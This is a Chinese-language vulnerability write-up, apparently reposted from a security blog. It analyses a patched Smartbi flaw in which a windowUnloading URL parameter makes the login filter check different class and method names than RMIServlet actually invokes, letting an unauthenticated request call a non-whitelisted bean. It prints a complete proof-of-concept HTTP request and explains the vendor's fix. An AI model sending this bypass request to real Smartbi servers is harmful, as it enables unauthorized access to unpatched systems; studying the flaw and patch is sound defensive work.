这段常态化时期,每天都整理和学习历年能打穿小朋友的漏洞,本文转载自https://exp.ci/2023/07/03/Smartbi-windowUnloading%20%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
文章概述
本文档讲述了作者在2023年5月向CNVD提交了一个关于Smartbi的漏洞,并详细记录了该漏洞的挖掘过程和修复情况。Smartbi的一个主要安全措施是通过CheckIsLoggedFilter过滤器来保护RMIServlet,该过滤器通过检查类名、方法名和参数来验证请求的合法性。然而,作者发现了一种绕过此防护的方法,通过在请求头中的windowUnloading参数中设置恶意值,使得Smartbi跳过了正常的参数验证流程。作者利用这一漏洞创建了一个PoC(Proof of Concept),最终导致系统调用了恶意的Bean。为了修复这个漏洞,Smartbi引入了新的WindowUnLoadingAndAttributeRule规则,该规则首先检查请求中是否存在windowUnloading参数,然后比较其与请求中定义的类名和方法名是否匹配,从而防止绕过攻击。修复后的系统会返回403错误,有效阻止了攻击。
关键要点
Smartbi发现了一个登录代码逻辑漏洞,并于7月3日进行了修复。
漏洞存在于RMIServlet的防护机制中,可以通过windowUnloading绕过校验。
修复后的版本新增了WindowUnLoadingAndAttributeRule规则,可以有效防止类似漏洞的发生。
漏洞修复后,访问被拒绝的响应码为403。
0x00 背景 五月份给 CNVD 提了个洞,Smartbi 在今天修了,记录下当时挖洞的过程。
2023-07-03 修复登录代码逻辑漏洞。
0x01 漏洞分析 Smartbi 针对 RMIServlet 的防护主要是通过 CheckIsLoggedFilter 完成的,整体的校验逻辑为:
获取 className、methodName、params
校验上述参数,判断是否符合预期(在白名单内)
Smartbi 会尝试通过多种方式获取并解析这三个参数,下面是解析顺序(上一个解析失败则向下顺延):
通过 windowUnloading 进行解析
通过 request.getParameter 进行解析
通过 request body 解析
通过 encode 参数解析
其中任何一个步骤解析成功了,都不会进行下一个步骤。接下来看看 RMIServlet 是怎么解析的:
这里一共只有三步:
通过 request.getParameter 解析
通过文件上传的格式去解析
通过 request.getAttribute 解析
从解析流程中不难看出这里存在一个差异绕过的问题,第一步使用 windowUnloading 对参数进行设置,同时在请求的参数里也进行设置,那么在 CheckIsLoggedFilter 里拿到的就是 windowUnloading 里的参数, 而 RMIServlet 拿到的却是请求里的参数。
构造 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1 Host: 192.168.137.131:18080 Content-Length: 71 Cache-Control: max-age=0 If-Modified-Since: 0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Origin: http://192.168.137.131:18080 Referer: http://192.168.137.131:18080/smartbi/vision/index.jsp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=CEA21F9B9E23D9F15CC94B4B01718B5B Connection: close className=DataSourceService&methodName=testConnectionList¶ms=%5b%5d
出现 PARAM_COUNT_ERROR 表明已经调用到了恶意 Bean:
0x02 补丁分析 Smartbi 新增了 WindowUnLoadingAndAttributeRule 规则来修补这个漏洞,它会先判断请求中是否存在 windowUnloading 参数,接着判断请求中是否存在 className 和 methodName 等参数,如果存在,则判断二者解析出来后是否相同。
漏洞修复后,返回包为 403:
文章来源: https://mp.weixin.qq.com/s?__biz=MzU0MzkzOTYzOQ==&mid=2247489305&idx=1&sn=853e7109a1705396b2611e75f3cf2b92&chksm=fb029a41cc751357ea1792d06d1886a7f96a410741cb9188bc5192c1cb8347d66fc19a893804&scene=58&subscene=0#rd 如有侵权请联系:admin#unsafe.sh